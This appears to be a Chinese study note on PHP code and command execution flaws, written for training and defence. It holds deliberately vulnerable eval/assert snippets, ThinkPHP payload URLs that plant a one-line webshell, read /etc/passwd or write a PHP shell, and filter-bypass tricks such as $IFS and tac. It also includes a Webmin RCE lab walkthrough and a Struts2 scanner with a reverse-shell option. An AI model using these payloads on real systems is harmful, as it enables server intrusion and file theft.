RCE代码及命令执行

RCE 代码及命令执行漏洞

RCE.png

remote command/code execute 分为远程命令执行远程代码执行

在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

代码执行漏洞

原理

应用有时需要调用一些执行系统命令的函数,如PHP中的systemexecassertevalpreg_replaceshell_execpassthrupopenproc_popenescapeshellcmdpcntl_execcall_user_funccall_user_func_arrayarray_map动态函数 等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行,这就是命令执行漏洞。

以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个。

产生

web源码:thinkphp、eyoucms、wordpress

中间件平台:tomcat、struts2、redis

其他平台:php-cgi、jenkins-cl、java-RMI

可以进一步参考vulhub中的漏洞。

危害

  • 执行任意代码
  • 向网站写WebShell
  • 控制整个网站甚至服务器

例如获取服务器网络配置、php版本信息:

image-20220804103952499

image-20220804104032041

函数介绍

eval()

eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

在服务器上创建一下代码test.php:

1
2
3
4
<?php
$code=$_GET['x'] ;
eval($code);
?>

查看文件:

image-20220804103612237

查看管理员:

img

添加管理员:

img

assert()

1
2
3
4
5
6
7
<?php assert($_POST['a']);?>

// 支持动态调用,但是在php7.0.29之后的版本不支持动态调用
<?php
$a = 'assert';
$a($_POST['a']);
?

preg_replace()

此函数的作用是对一个字符串进行正则处理。

1
mixed preg_replace ( mixed $ pattern , mixed $ replacement , mixed $ subject [, int $ limit = -1 [, int &$ count ]] )

call_user_func()

把第一参数作为回调函数

call_user_func_array()

调用回到函数,并把第一个数组参数作为回到函数的参数

array_ map()

为数组的每个元素应用回调函数

漏洞利用

一般找CMS相应版本漏洞,如ThinkPHP2.1

  • 一句话木马

    给语句加上了${},令其为变量,可作为动态函数执行。

    http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}}

  • 得到当前路径
    http://www.xxx.com/News/detail/id/{${print(getcwd()))}}

  • 读文件
    http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}}
    POST的数据为:f=/etc/passwd

  • 写shell
    http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}}
    POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>

防御

  • 少用或禁用命令执行函数

    尽量少用执行命令的函数或者直接禁用。能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用

  • 确保动态执行的函数为指定的函数

    在使用动态函数之前,确保使用的函数是指定的函数之一

  • 参数用引号括起,且进行过滤或固定

    在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义。参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义。

    对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤

而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。

对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。

对于preg_replace放弃使用/e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。

命令执行漏洞

原理

用户通过浏览器提交操作系统执行命令,由于服务器端 没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许使用者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

在操作系统中,&|||都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。(||只要满足第一个条件,后面的条件就不再判断,而|要对所有的条件进行判断)

Windows系统命令拼接:

1
2
3
4
“|”:管道符,前面命令标准输出作为后面命令的标准输入。
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B

例题:https://blog.csdn.net/m0_62851980/article/details/124166126

产生

web源码:Nexus、Webmin、ElasticSearch

中间件平台:Weblogic、Apache、Postgresql

其他环境:Samba、Supervisord

函数介绍

system()

system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:

1
system(command, return_var)

其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。

exec()

exec函数可以用来执行一个外部的应用程序。

1
exec (command, output, return_var)

其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值

passthru()

passthru函数可以用来执行一个UNIX系统命令并显示原始的输出。

当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。

Passthru函数原型如下:

1
passthru (command, return_var)

其中,command是要执行的命令,return_var存放执行命令后的状态值。

shell_exec()

执行shell命令并返回输出的字符串,函数原型如下:

1
shell_exec(command)

其中,command是要执行的命令。

popen()

不返回执行结果,而是返回一个文件指针。

proc_open()

pcntl_exec()

在当前进程空间执行指定程序

echo()

若php代码中,echo后跟的是反引号括起的内容,则会将该内容作为代码执行并输出结果,实际调用的将是Shell_exec()。

https://blog.csdn.net/qq_37348714/article/details/108859203

在这里插入图片描述

以墨者学院PHP代码分析溯源(第4题)为例:

有一网站,已知其php源码内容如下。由于存在解码和压缩函数,因此在在线运行中跑一下得到执行结果,其中echo的内容就是反引号括起的,所以会存在代码执行:

image-20220804161324103

然后进一步使用参数a来进行命令执行:

image-20220804161658527

看到该网站下有一个key开头的php文件,查看该文件内容(注意使用tac绕过对cat命令的过滤):

image-20220804161852678

防御

  • 尽量不要使用命令执行函数

  • 客户端提交的变量在进入执行命令函数方法之前,一定要做好过滤,对敏感字符进行转义

  • 在使用动态函数之前,确保使用的函数是指定的函数之一

  • 对PHP语言来说,不能完全控制的危险函数最好不要使用

绕过

绕过对空格的检查:

比如cat flag.txt,要替换掉空格,且保持仍可执行:

1
2
3
4
5
6
7
8
9
10
11
$IFS$1      //$1改成$加其他数字都行,都能当作空格来用

{cat,flag.txt}

cat${IFS}flag.txt

cat$IFS$9flag.txt

cat<flag.txt

cat<>flag.txt

绕过关键词:

1
tac flag.txt

挖掘

  • 代码审计

    最主要的方式,借助代码审计工具,非常方便的审计出此类漏洞

  • 已知的CMS漏洞

已知的CMS,有很多每年都会爆出来很多此类的漏洞

  • 页面传参查找

      针对页面有传参的地方,重点关注传入恶意代码尝试,概率相对较低
    

案例

墨者靶场黑盒层 RCE 漏洞检测-公开漏洞

Webmin未经身份验证的远程代码执行

Webmin是基于Web的Unix系统管理工具。为了降低 Linux系统的管理难度,有时候会对公司内的Linux主机或VPS系统预装了网页管理工具webmin。

Webmin的RCE漏洞存在于密码重置页面中。该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。

https://www.cnblogs.com/whoami101/p/11465877.html

在注册界面提交后BP抓包,将post的URL改为/password_change.cgi(修改密码的URL),post请求主体改为old等参数。其中使用old参数作为命令执行的入口,令old={shell}:

img

这里old=ls,所以输出了服务器的当前文件目录(这里是直接在浏览器F12调试中修改的数据包):

image-20220804163823614

然后令old=/key.txt读取文件,获得flag。

image-20220804164230310

Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面

Apache Struts2远程代码执行漏洞(S2-037复现)

Struts2漏洞检查工具2019版 V2.3 by shack2 20190927

image-20220804190810468

struts2漏洞扫描工具:Struts2-Scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#工具参数说明(Struts2批量扫描利用工具):

---Usage: Struts2Scan.py [OPTIONS]

Options:
  -i, --info          漏洞信息介绍
  -v, --version       显示工具版本
  -u, --url TEXT      URL地址
  -n, --name TEXT     指定漏洞名称, 漏洞名称详见info
  -f, --file TEXT     批量扫描URL文件, 一行一个URL
  -d, --data TEXT     POST参数, 需要使用的payload使用{exp}填充
  -c, --encode TEXT   页面编码, 默认UTF-8编码
  -p, --proxy TEXT    HTTP代理. 格式为http://ip:port
  -t, --timeout TEXT  HTTP超时时间, 默认10s
  -w, --workers TEXT  批量扫描进程数, 默认为10个进程
  --header TEXT       HTTP请求头, 格式为: key1=value1&key2=value2
  -e, --exec          进入命令执行shell
  --webpath           获取WEB路径
  -r, --reverse TEXT  反弹shell地址, 格式为ip:port
  --upfile TEXT       需要上传的文件路径和名称
  --uppath TEXT       上传的目录和名称,如:/usr/local/tomcat/webapps/ROOT/shell.jsp
  -q, --quiet         关闭打印不存在漏洞的输出,只保留存在漏洞的输出
  -h, --help          Show this message and exit.

专业话语:

EXP:Exploit漏洞利用代码,运行之后对目标进行攻击。
POC:Proof of Concept漏洞验证代码,检测目标是否存在对应漏洞。

一句话 Webshell 后门原理代码执行-拓展说明

image-20220804192441723

image-20220804192548559

菜刀将操作系统的命令写入参数,以post方式传递给网站后门,网站后门通过eval()代码执行来执行系统命令或者代码,从而达到了菜刀远程操作服务器的目的.